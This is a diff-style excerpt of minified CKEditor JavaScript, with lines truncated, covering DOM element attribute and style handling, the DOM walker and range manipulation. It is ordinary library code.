+hasAttributes:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(){for(var a=this.$.attributes,b=0;b<a.length;b++){var c=a[b];switch(c.nodeName){case "class":if(this.getAttribute("class"))return true;case "data-cke-expando":continue;default:if(c.specified)return true}}return false}:function(){var a=this.$.attributes,b=a.length,c={"data-cke-expando":1,_moz_dirty:1};return b>0&&(b>2||!c[a[0].nodeName]||b==2&&!c[a[1].nodeName])},hasAttribute:function(){function a(a){ [...]
+return!(!a||!a.specified)}return CKEDITOR.env.ie&&CKEDITOR.env.version<8?function(b){return b=="name"?!!this.$.name:a.call(this,b)}:a}(),hide:function(){this.setStyle("display","none")},moveChildren:function(a,b){var c=this.$,a=a.$;if(c!=a){var d;if(b)for(;d=c.lastChild;)a.insertBefore(c.removeChild(d),a.firstChild);else for(;d=c.firstChild;)a.appendChild(c.removeChild(d))}},mergeSiblings:function(){function a(a,b,c){if(b&&b.type==CKEDITOR.NODE_ELEMENT){for(var g=[];b.data("cke-bookmark" [...]
+b=c?b.getNext():b.getPrevious();if(!b||b.type!=CKEDITOR.NODE_ELEMENT)return}if(a.isIdentical(b)){for(var k=c?a.getLast():a.getFirst();g.length;)g.shift().move(a,!c);b.moveChildren(a,!c);b.remove();k&&k.type==CKEDITOR.NODE_ELEMENT&&k.mergeSiblings()}}}return function(b){if(b===false||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is("a")){a(this,this.getNext(),true);a(this,this.getPrevious())}}}(),show:function(){this.setStyles({display:"",visibility:""})},setAttribute:function(){var a=f [...]
+b){this.$.setAttribute(a,b);return this};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(b,c){b=="class"?this.$.className=c:b=="style"?this.$.style.cssText=c:b=="tabindex"?this.$.tabIndex=c:b=="checked"?this.$.checked=c:b=="contenteditable"?a.call(this,"contentEditable",c):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&&CKEDITOR.env.secure?function(b,c){if(b=="src"&&c.match(/^http:\/\//))try{a.apply(this,arguments)}catch(d){}else a.apply(thi [...]
+return this}:a}(),setAttributes:function(a){for(var b in a)this.setAttribute(b,a[b]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)?function(a){a=="class"?a="className":a=="tabindex"?a="tabIndex":a=="contenteditable"&&(a="contentEditable");this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))fo [...]
+a.length;b++)this.removeAttribute(a[b]);else for(b in a)a.hasOwnProperty(b)&&this.removeAttribute(b)},removeStyle:function(a){var b=this.$.style;if(!b.removeProperty&&(a=="border"||a=="margin"||a=="padding")){var c=["top","left","right","bottom"],d;a=="border"&&(d=["color","style","width"]);for(var b=[],g=0;g<c.length;g++)if(d)for(var k=0;k<d.length;k++)b.push([a,c[g],d[k]].join("-"));else b.push([a,c[g]].join("-"));for(a=0;a<b.length;a++)this.removeStyle(b[a])}else{b.removeProperty?b.re [...]
+b.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a));this.$.style.cssText||this.removeAttribute("style")}},setStyle:function(a,b){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=b;return this},setStyles:function(a){for(var b in a)this.setStyle(b,a[b]);return this},setOpacity:function(a){if(CKEDITOR.env.ie&&CKEDITOR.env.version<9){a=Math.round(a*100);this.setStyle("filter",a>=100?"":"progid:DXImageTransform.Microsoft.Alpha(opacity="+a+")")}else this.setStyle("opacity",a)},unselectab [...]
+"none"));if(CKEDITOR.env.ie||CKEDITOR.env.opera){this.setAttribute("unselectable","on");for(var a,b=this.getElementsByTag("*"),c=0,d=b.count();c<d;c++){a=b.getItem(c);a.setAttribute("unselectable","on")}}},getPositionedAncestor:function(){for(var a=this;a.getName()!="html";){if(a.getComputedStyle("position")!="static")return a;a=a.getParent()}return null},getDocumentPosition:function(a){var b=0,c=0,d=this.getDocument(),g=d.getBody(),k=d.$.compatMode=="BackCompat";if(document.documentElem [...]
+this.$.getBoundingClientRect(),l=d.$.documentElement,m=l.clientTop||g.$.clientTop||0,n=l.clientLeft||g.$.clientLeft||0,o=true;if(CKEDITOR.env.ie){o=d.getDocumentElement().contains(this);d=d.getBody().contains(this);o=k&&d||!k&&o}if(o){b=h.left+(!k&&l.scrollLeft||g.$.scrollLeft);b=b-n;c=h.top+(!k&&l.scrollTop||g.$.scrollTop);c=c-m}}else{g=this;for(d=null;g&&!(g.getName()=="body"||g.getName()=="html");){b=b+(g.$.offsetLeft-g.$.scrollLeft);c=c+(g.$.offsetTop-g.$.scrollTop);if(!g.equals(this [...]
+0);c=c+(g.$.clientTop||0)}for(;d&&!d.equals(g);){b=b-d.$.scrollLeft;c=c-d.$.scrollTop;d=d.getParent()}d=g;g=(h=g.$.offsetParent)?new CKEDITOR.dom.element(h):null}}if(a){g=this.getWindow();d=a.getWindow();if(!g.equals(d)&&g.$.frameElement){a=(new CKEDITOR.dom.element(g.$.frameElement)).getDocumentPosition(a);b=b+a.x;c=c+a.y}}if(!document.documentElement.getBoundingClientRect&&CKEDITOR.env.gecko&&!k){b=b+(this.$.clientLeft?1:0);c=c+(this.$.clientTop?1:0)}return{x:b,y:c}},scrollIntoView:fun [...]
+this.getParent();if(b){do{(b.$.clientWidth&&b.$.clientWidth<b.$.scrollWidth||b.$.clientHeight&&b.$.clientHeight<b.$.scrollHeight)&&!b.is("body")&&this.scrollIntoParent(b,a,1);if(b.is("html")){var c=b.getWindow();try{var d=c.$.frameElement;d&&(b=new CKEDITOR.dom.element(d))}catch(g){}}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var d,g,k,h;function l(b,o){if(/body|html/.test(a.getName()))a.getWindow().$.scrollBy(b,o);else{a.$.scrollLeft=a.$.scrollLeft+b;a.$.scrollTop=a.$.sc [...]
+function m(a,b){var n={x:0,y:0};if(!a.is(o?"body":"html")){var c=a.$.getBoundingClientRect();n.x=c.left;n.y=c.top}c=a.getWindow();if(!c.equals(b)){c=m(CKEDITOR.dom.element.get(c.$.frameElement),b);n.x=n.x+c.x;n.y=n.y+c.y}return n}function n(a,b){return parseInt(a.getComputedStyle("margin-"+b)||0,10)||0}!a&&(a=this.getWindow());k=a.getDocument();var o=k.$.compatMode=="BackCompat";a instanceof CKEDITOR.dom.window&&(a=o?k.getBody():k.getDocumentElement());k=a.getWindow();g=m(this,k);var i=m [...]
+d=this.$.offsetWidth;var y=a.$.clientHeight,z=a.$.clientWidth;k=g.x-n(this,"left")-i.x||0;h=g.y-n(this,"top")-i.y||0;d=g.x+d+n(this,"right")-(i.x+z)||0;g=g.y+q+n(this,"bottom")-(i.y+y)||0;if(h<0||g>0)l(0,b===true?h:b===false?g:h<0?h:g);if(c&&(k<0||d>0))l(k<0?k:d,0)},setState:function(a,b,c){b=b||"cke";switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+"_on");this.removeClass(b+"_off");this.removeClass(b+"_disabled");c&&this.setAttribute("aria-pressed",true);c&&this.removeAttribute("aria [...]
+break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+"_disabled");this.removeClass(b+"_off");this.removeClass(b+"_on");c&&this.setAttribute("aria-disabled",true);c&&this.removeAttribute("aria-pressed");break;default:this.addClass(b+"_off");this.removeClass(b+"_on");this.removeClass(b+"_disabled");c&&this.removeAttribute("aria-pressed");c&&this.removeAttribute("aria-disabled")}},getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=a.src}return a&&new CKEDI [...]
+copyAttributes:function(a,b){for(var c=this.$.attributes,b=b||{},d=0;d<c.length;d++){var g=c[d],k=g.nodeName.toLowerCase(),h;if(!(k in b))if(k=="checked"&&(h=this.getAttribute(k)))a.setAttribute(k,h);else if(g.specified||CKEDITOR.env.ie&&g.nodeValue&&k=="value"){h=this.getAttribute(k);if(h===null)h=g.nodeValue;a.setAttribute(k,h)}}if(this.$.style.cssText!=="")a.$.style.cssText=this.$.style.cssText},renameNode:function(a){if(this.getName()!=a){var b=this.getDocument(),a=new CKEDITOR.dom.e [...]
+b);this.copyAttributes(a);this.moveChildren(a);this.getParent()&&this.$.parentNode.replaceChild(a.$,this.$);a.$["data-cke-expando"]=this.$["data-cke-expando"];this.$=a.$}},getChild:function(){function a(a,b){var c=a.childNodes;if(b>=0&&b<c.length)return c[b]}return function(b){var c=this.$;if(b.slice)for(;b.length>0&&c;)c=a(c,b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){this.on( [...]
+function(a){a.data.getTarget().hasClass("cke_enable_context_menu")||a.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle("direction")||this.getDirection()||this.getParent()&&this.getParent().getDirection(1)||this.getDocument().$.dir||"ltr":this.getStyle("direction")||this.getAttribute("dir")},data:function(a,b){a="data-"+a;if(b===void 0)return this.getAttribute(a);b===false?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(){var [...]
+b,c;for(b in a){c=a[b];if(c.element.equals(this)&&c.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO)return c}return null}});var c={width:["border-left-width","border-right-width","padding-left","padding-right"],height:["border-top-width","border-bottom-width","padding-top","padding-bottom"]};CKEDITOR.dom.element.prototype.setSize=function(a,c,e){if(typeof c=="number"){if(e&&(!CKEDITOR.env.ie||!CKEDITOR.env.quirks))c=c-b.call(this,a);this.setStyle(a,c+"px")}};CKEDITOR.dom.element.prototype.ge [...]
+c){var e=Math.max(this.$["offset"+CKEDITOR.tools.capitalize(a)],this.$["client"+CKEDITOR.tools.capitalize(a)])||0;c&&(e=e-b.call(this,a));return e}})();CKEDITOR.dom.documentFragment=function(b){b=b||CKEDITOR.document;this.$=b.type==CKEDITOR.NODE_DOCUMENT?b.$.createDocumentFragment():b};
+CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(b){b=b.$;b.parentNode.insertBefore(this.$,b.nextSibling)}},!0,{append:1,appendBogus:1,getFirst:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1});
+(function(){function b(a,b){var c=this.range;if(this._.end)return null;if(!this._.start){this._.start=1;if(c.collapsed){this.end();return null}c.optimize()}var d,m=c.startContainer;d=c.endContainer;var n=c.startOffset,o=c.endOffset,i,q=this.guard,f=this.type,e=a?"getPreviousSourceNode":"getNextSourceNode";if(!a&&!this._.guardLTR){var j=d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),s=d.type==CKEDITOR.NODE_ELEMENT?d.getChild(o):d.getNext();this._.guardLTR=function(a,b){return(!b||!j.equals [...]
+!a.equals(s))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}if(a&&!this._.guardRTL){var A=m.type==CKEDITOR.NODE_ELEMENT?m:m.getParent(),B=m.type==CKEDITOR.NODE_ELEMENT?n?m.getChild(n-1):null:m.getPrevious();this._.guardRTL=function(a,b){return(!b||!A.equals(a))&&(!B||!a.equals(B))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}var p=a?this._.guardRTL:this._.guardLTR;i=q?function(a,b){return p(a,b)===false?false:q(a,b)}:p;if(this.current)d=this.current[e](false,f,i);e [...]
+CKEDITOR.NODE_ELEMENT&&(d=o>0?d.getChild(o-1):i(d,true)===false?null:d.getPreviousSourceNode(true,f,i));else{d=m;if(d.type==CKEDITOR.NODE_ELEMENT&&!(d=d.getChild(n)))d=i(m,true)===false?null:m.getNextSourceNode(true,f,i)}d&&i(d)===false&&(d=null)}for(;d&&!this._.end;){this.current=d;if(!this.evaluator||this.evaluator(d)!==false){if(!b)return d}else if(b&&this.evaluator)return false;d=d[e](false,f,i)}this.end();return this.current=null}function c(a){for(var c,d=null;c=b.call(this,a);)d=c; [...]
+CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=a;this._={}},proto:{end:function(){this._.end=1},next:function(){return b.call(this)},previous:function(){return b.call(this,1)},checkForward:function(){return b.call(this,0,1)!==false},checkBackward:function(){return b.call(this,1,1)!==false},lastForward:function(){return c.call(this)},lastBackward:function(){return c.call(this,1)},reset:function(){delete this.current;this._={}}}});var a={block:1,"list-item":1,tabl [...]
+"table-header-group":1,"table-footer-group":1,"table-row":1,"table-column-group":1,"table-column":1,"table-cell":1,"table-caption":1};CKEDITOR.dom.element.prototype.isBlockBoundary=function(b){b=b?CKEDITOR.tools.extend({},CKEDITOR.dtd.$block,b||{}):CKEDITOR.dtd.$block;return this.getComputedStyle("float")=="none"&&a[this.getComputedStyle("display")]||b[this.getName()]};CKEDITOR.dom.walker.blockBoundary=function(a){return function(b){return!(b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundar [...]
+function(){return this.blockBoundary({br:1})};CKEDITOR.dom.walker.bookmark=function(a,b){function c(a){return a&&a.getName&&a.getName()=="span"&&a.data("cke-bookmark")}return function(d){var m,n;m=d&&d.type!=CKEDITOR.NODE_ELEMENT&&(n=d.getParent())&&c(n);m=a?m:m||c(d);return!!(b^m)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(b){var c;b&&b.type==CKEDITOR.NODE_TEXT&&(c=!CKEDITOR.tools.trim(b.getText())||CKEDITOR.env.webkit&&b.getText()=="");return!!(a^c)}};CKEDITOR.dom.w [...]
+function(a){var b=CKEDITOR.dom.walker.whitespaces();return function(c){if(b(c))c=1;else{c.type==CKEDITOR.NODE_TEXT&&(c=c.getParent());c=!c.$.offsetHeight}return!!(a^c)}};CKEDITOR.dom.walker.nodeType=function(a,b){return function(c){return!!(b^c.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function b(a){return!e(a)&&!d(a)}return function(c){var d=!CKEDITOR.env.ie?c.is&&c.is("br"):c.getText&&f.test(c.getText());if(d){d=c.getParent();c=c.getNext(b);d=d.isBlockBoundary()&&(!c||c.type==CK [...]
+c.isBlockBoundary())}return!!(a^d)}};var f=/^[\t\r\n ]*(?: |\xa0)$/,e=CKEDITOR.dom.walker.whitespaces(),d=CKEDITOR.dom.walker.bookmark();CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(d(a)||e(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in CKEDITOR.dtd.$inline&&!(a.getName()in CKEDITOR.dtd.$empty));return a&&(!CKEDITOR.env.ie?a.is&&a.is("br"):a.getText&&f.test(a.getText()))?a:false}})();
+CKEDITOR.dom.range=function(b){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=true;var c=b instanceof CKEDITOR.dom.document;this.document=c?b:b.getDocument();this.root=c?b.getBody():b};
+(function(){function b(){var a=false,b=CKEDITOR.dom.walker.whitespaces(),o=CKEDITOR.dom.walker.bookmark(true),c=CKEDITOR.dom.walker.bogus();return function(q){if(o(q)||b(q))return true;if(c(q)&&!a)return a=true;return q.type==CKEDITOR.NODE_TEXT&&(q.hasAscendant("pre")||CKEDITOR.tools.trim(q.getText()).length)||q.type==CKEDITOR.NODE_ELEMENT&&!q.is(d)?false:true}}function c(a){var b=CKEDITOR.dom.walker.whitespaces(),o=CKEDITOR.dom.walker.bookmark(1);return function(c){return o(c)||b(c)?tru [...]
+c.type==CKEDITOR.NODE_ELEMENT&&c.is(CKEDITOR.dtd.$removeEmpty)}}function a(a){return!k(a)&&!h(a)}var f=function(a){a.collapsed=a.startContainer&&a.endContainer&&a.startContainer.equals(a.endContainer)&&a.startOffset==a.endOffset},e=function(a,b,o,c){a.optimizeBookmark();var d=a.startContainer,g=a.endContainer,f=a.startOffset,j=a.endOffset,e,k;if(g.type==CKEDITOR.NODE_TEXT)g=g.split(j);else if(g.getChildCount()>0)if(j>=g.getChildCount()){g=g.append(a.document.createText(""));k=true}else g [...]
+if(d.type==CKEDITOR.NODE_TEXT){d.split(f);d.equals(g)&&(g=d.getNext())}else if(f)if(f>=d.getChildCount()){d=d.append(a.document.createText(""));e=true}else d=d.getChild(f).getPrevious();else{d=d.append(a.document.createText(""),1);e=true}var f=d.getParents(),j=g.getParents(),h,p,l;for(h=0;h<f.length;h++){p=f[h];l=j[h];if(!p.equals(l))break}for(var u=o,r,F,v,t=h;t<f.length;t++){r=f[t];u&&!r.equals(d)&&(F=u.append(r.clone()));for(r=r.getNext();r;){if(r.equals(j[t])||r.equals(g))break;v=r.g [...]
+if(b==2)u.append(r.clone(true));else{r.remove();b==1&&u.append(r)}r=v}u&&(u=F)}u=o;for(o=h;o<j.length;o++){r=j[o];b>0&&!r.equals(g)&&(F=u.append(r.clone()));if(!f[o]||r.$.parentNode!=f[o].$.parentNode)for(r=r.getPrevious();r;){if(r.equals(f[o])||r.equals(d))break;v=r.getPrevious();if(b==2)u.$.insertBefore(r.$.cloneNode(true),u.$.firstChild);else{r.remove();b==1&&u.$.insertBefore(r.$,u.$.firstChild)}r=v}u&&(u=F)}if(b==2){p=a.startContainer;if(p.type==CKEDITOR.NODE_TEXT){p.$.data=p.$.data+ [...]
+p.$.parentNode.removeChild(p.$.nextSibling)}a=a.endContainer;if(a.type==CKEDITOR.NODE_TEXT&&a.$.nextSibling){a.$.data=a.$.data+a.$.nextSibling.data;a.$.parentNode.removeChild(a.$.nextSibling)}}else{if(p&&l&&(d.$.parentNode!=p.$.parentNode||g.$.parentNode!=l.$.parentNode)){b=l.getIndex();e&&l.$.parentNode==d.$.parentNode&&b--;if(c&&p.type==CKEDITOR.NODE_ELEMENT){c=CKEDITOR.dom.element.createFromHtml('<span data-cke-bookmark="1" style="display:none"> </span>',a.document);c.insertAfter [...]
+a.moveToBookmark({startNode:c})}else a.setStart(l.getParent(),b)}a.collapse(true)}e&&d.remove();k&&g.$.parentNode&&g.remove()},d={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,"var":1},g=CKEDITOR.dom.walker.bogus(),k=new CKEDITOR.dom.walker.whitespaces,h=new CKEDITOR.dom.walker.bookmark,l=/^[\t\r\n ]*(?: |\xa0)$/;CKEDITOR.dom.range.prototype={clone:function(){var a=new C [...]
+a.startContainer=this.startContainer;a.startOffset=this.startOffset;a.endContainer=this.endContainer;a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){if(a){this.endContainer=this.startContainer;this.endOffset=this.startOffset}else{this.startContainer=this.endContainer;this.startOffset=this.endOffset}this.collapsed=true},cloneContents:function(){var a=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||e(this,2,a);return a},deleteContents:f [...]
+e(this,0,null,a)},extractContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||e(this,1,b,a);return b},createBookmark:function(a){var b,o,c,d,g=this.collapsed;b=this.document.createElement("span");b.data("cke-bookmark",1);b.setStyle("display","none");b.setHtml(" ");if(a){c="cke_bm_"+CKEDITOR.tools.getNextNumber();b.setAttribute("id",c+(g?"C":"S"))}if(!g){o=b.clone();o.setHtml(" ");a&&o.setAttribute("id",c+"E");d=this.clone();d.collapse();d. [...]
+this.clone();d.collapse(true);d.insertNode(b);if(o){this.setStartAfter(b);this.setEndBefore(o)}else this.moveToPosition(b,CKEDITOR.POSITION_AFTER_END);return{startNode:a?c+(g?"C":"S"):b,endNode:a?c+"E":o,serializable:a,collapsed:g}},createBookmark2:function(a){var b=this.startContainer,o=this.endContainer,c=this.startOffset,d=this.endOffset,g=this.collapsed,f,j;if(!b||!o)return{start:0,end:0};if(a){if(b.type==CKEDITOR.NODE_ELEMENT){if((f=b.getChild(c))&&f.type==CKEDITOR.NODE_TEXT&&c>0&&f [...]
+CKEDITOR.NODE_TEXT){b=f;c=0}f&&f.type==CKEDITOR.NODE_ELEMENT&&(c=f.getIndex(1))}for(;b.type==CKEDITOR.NODE_TEXT&&(j=b.getPrevious())&&j.type==CKEDITOR.NODE_TEXT;){b=j;c=c+j.getLength()}if(!g){if(o.type==CKEDITOR.NODE_ELEMENT){if((f=o.getChild(d))&&f.type==CKEDITOR.NODE_TEXT&&d>0&&f.getPrevious().type==CKEDITOR.NODE_TEXT){o=f;d=0}f&&f.type==CKEDITOR.NODE_ELEMENT&&(d=f.getIndex(1))}for(;o.type==CKEDITOR.NODE_TEXT&&(j=o.getPrevious())&&j.type==CKEDITOR.NODE_TEXT;){o=j;d=d+j.getLength()}}}re [...]
+end:g?null:o.getAddress(a),startOffset:c,endOffset:d,normalized:a,collapsed:g,is2:true}},moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),c=a.startOffset,i=a.end&&this.document.getByAddress(a.end,a.normalized),a=a.endOffset;this.setStart(b,c);i?this.setEnd(i,a):this.collapse(true)}else{b=(c=a.serializable)?this.document.getById(a.startNode):a.startNode;a=c?this.document.getById(a.endNode):a.endNode;this.setStartBefore(b);b.remove();if(a){this.se [...]
+a.remove()}else this.collapse(true)}},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,c=this.startOffset,i=this.endOffset,d;if(a.type==CKEDITOR.NODE_ELEMENT){d=a.getChildCount();if(d>c)a=a.getChild(c);else if(d<1)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}}if(b.type==CKEDITOR.NODE_ELEMENT){d=b.getChildCount();if(d>i)b=b.getChild(i).getPreviousSourceNode(true);else if(d<1)b=b.getPrev [...]
+else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}}a.getPosition(b)&CKEDITOR.POSITION_FOLLOWING&&(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var c=this.startContainer,i=this.endContainer,c=c.equals(i)?a&&c.type==CKEDITOR.NODE_ELEMENT&&this.startOffset==this.endOffset-1?c.getChild(this.startOffset):c:c.getCommonAncestor(i);return b&&!c.is?c.getParent():c},optimize:function(){var a=this.startContainer,b=this.startOffset;a.type!=CKEDITOR.NODE_ELEM [...]
+a.getLength()&&this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&&(a.is("span")&&a.data("cke-bookmark"))&&this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&&(b.is&&b.is("span")&&b.data("cke-bookmark"))&&this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},trim:function(a,b){var c=this.star [...]
+i=this.startOffset,d=this.collapsed;if((!a||d)&&c&&c.type==CKEDITOR.NODE_TEXT){if(i)if(i>=c.getLength()){i=c.getIndex()+1;c=c.getParent()}else{var g=c.split(i),i=c.getIndex()+1,c=c.getParent();if(this.startContainer.equals(this.endContainer))this.setEnd(g,this.endOffset-this.startOffset);else if(c.equals(this.endContainer))this.endOffset=this.endOffset+1}else{i=c.getIndex();c=c.getParent()}this.setStart(c,i);if(d){this.collapse(true);return}}c=this.endContainer;i=this.endOffset;if(!b&&!d [...]
+CKEDITOR.NODE_TEXT){if(i){i>=c.getLength()||c.split(i);i=c.getIndex()+1}else i=c.getIndex();c=c.getParent();this.setEnd(c,i)}},enlarge:function(a,b){switch(a){case CKEDITOR.ENLARGE_INLINE:var c=1;case CKEDITOR.ENLARGE_ELEMENT:if(this.collapsed)break;var i=this.getCommonAncestor(),d=this.root,g,f,j,e,h,k=false,p,l;p=this.startContainer;l=this.startOffset;if(p.type==CKEDITOR.NODE_TEXT){if(l){p=!CKEDITOR.tools.trim(p.substring(0,l)).length&&p;k=!!p}if(p&&!(e=p.getPrevious()))j=p.getParent() [...]
+(e=p.getChild(l-1)||p.getLast());e||(j=p)}for(;j||e;){if(j&&!e){!h&&j.equals(i)&&(h=true);if(c?j.isBlockBoundary():!d.contains(j))break;if(!k||j.getComputedStyle("display")!="inline"){k=false;h?g=j:this.setStartBefore(j)}e=j.getPrevious()}for(;e;){p=false;if(e.type==CKEDITOR.NODE_COMMENT)e=e.getPrevious();else{if(e.type==CKEDITOR.NODE_TEXT){l=e.getText();/[^\s\ufeff]/.test(l)&&(e=null);p=/[\s\ufeff]$/.test(l)}else if((e.$.offsetWidth>0||b&&e.is("br"))&&!e.data("cke-bookmark"))if(k&&CKEDI [...]
+e.getText();if(/[^\s\ufeff]/.test(l))e=null;else for(var u=e.$.getElementsByTagName("*"),r=0,F;F=u[r++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){e=null;break}e&&(p=!!l.length)}else e=null;p&&(k?h?g=j:j&&this.setStartBefore(j):k=true);if(e){p=e.getPrevious();if(!j&&!p){j=e;e=null;break}e=p}else j=null}}j&&(j=j.getParent())}p=this.endContainer;l=this.endOffset;j=e=null;h=k=false;if(p.type==CKEDITOR.NODE_TEXT){p=!CKEDITOR.tools.trim(p.substring(l)).length&&p;k=!(p&&p.getLen [...]
+!(e=p.getNext()))j=p.getParent()}else(e=p.getChild(l))||(j=p);for(;j||e;){if(j&&!e){!h&&j.equals(i)&&(h=true);if(c?j.isBlockBoundary():!d.contains(j))break;if(!k||j.getComputedStyle("display")!="inline"){k=false;h?f=j:j&&this.setEndAfter(j)}e=j.getNext()}for(;e;){p=false;if(e.type==CKEDITOR.NODE_TEXT){l=e.getText();/[^\s\ufeff]/.test(l)&&(e=null);p=/^[\s\ufeff]/.test(l)}else if(e.type==CKEDITOR.NODE_ELEMENT){if((e.$.offsetWidth>0||b&&e.is("br"))&&!e.data("cke-bookmark"))if(k&&CKEDITOR.dt [...]
+e.getText();if(/[^\s\ufeff]/.test(l))e=null;else{u=e.$.getElementsByTagName("*");for(r=0;F=u[r++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){e=null;break}}e&&(p=!!l.length)}else e=null}else p=1;p&&k&&(h?f=j:this.setEndAfter(j));if(e){p=e.getNext();if(!j&&!p){j=e;e=null;break}e=p}else j=null}j&&(j=j.getParent())}if(g&&f){i=g.contains(f)?f:g;this.setStartBefore(i);this.setEndAfter(i)}break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:j=new CK [...]
+d=this.root;j.setStartAt(d,CKEDITOR.POSITION_AFTER_START);j.setEnd(this.startContainer,this.startOffset);j=new CKEDITOR.dom.walker(j);var v,t,w=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),I=function(a){var b=w(a);b||(v=a);return b},c=function(a){var b=I(a);!b&&(a.is&&a.is("br"))&&(t=a);return b};j.guard=I;j=j.lastBackward();v=v||d;this.setStartAt(v,!v.is("br")&&(!j&&this.checkStartOfBlock()||j&&v.contains(j))?CKEDITOR.POSITION_AFTER_START:CKEDITO [...]
+if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){j=this.clone();j=new CKEDITOR.dom.walker(j);var G=CKEDITOR.dom.walker.whitespaces(),C=CKEDITOR.dom.walker.bookmark();j.evaluator=function(a){return!G(a)&&!C(a)};if((j=j.previous())&&j.type==CKEDITOR.NODE_ELEMENT&&j.is("br"))break}j=this.clone();j.collapse();j.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);j=new CKEDITOR.dom.walker(j);j.guard=a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?c:I;v=null;j=j.lastForward();v=v||d;this.setEndAt(v,!j&&this.checkEndOfB [...]
+v.contains(j)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);t&&this.setEndAfter(t)}},shrink:function(a,b,c){if(!this.collapsed){var a=a||CKEDITOR.SHRINK_TEXT,i=this.clone(),d=this.startContainer,g=this.endContainer,f=this.startOffset,e=this.endOffset,k=1,h=1;if(d&&d.type==CKEDITOR.NODE_TEXT)if(f)if(f>=d.getLength())i.setStartAfter(d);else{i.setStartBefore(d);k=0}else i.setStartBefore(d);if(g&&g.type==CKEDITOR.NODE_TEXT)if(e)if(e>=g.getLength())i.setEndAfter(g);else{i.setEn [...]
+h=0}else i.setEndBefore(g);var i=new CKEDITOR.dom.walker(i),l=CKEDITOR.dom.walker.bookmark();i.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var p;i.guard=function(b,i){if(l(b))return true;if(a==CKEDITOR.SHRINK_ELEMENT&&b.type==CKEDITOR.NODE_TEXT||i&&b.equals(p)||c===false&&b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary())return false;!i&&b.type==CKEDITOR.NODE_ELEMENT&&(p=b);return true};if(k)(d=i[a==CKEDITOR.SHRINK_ELEMENT? [...]
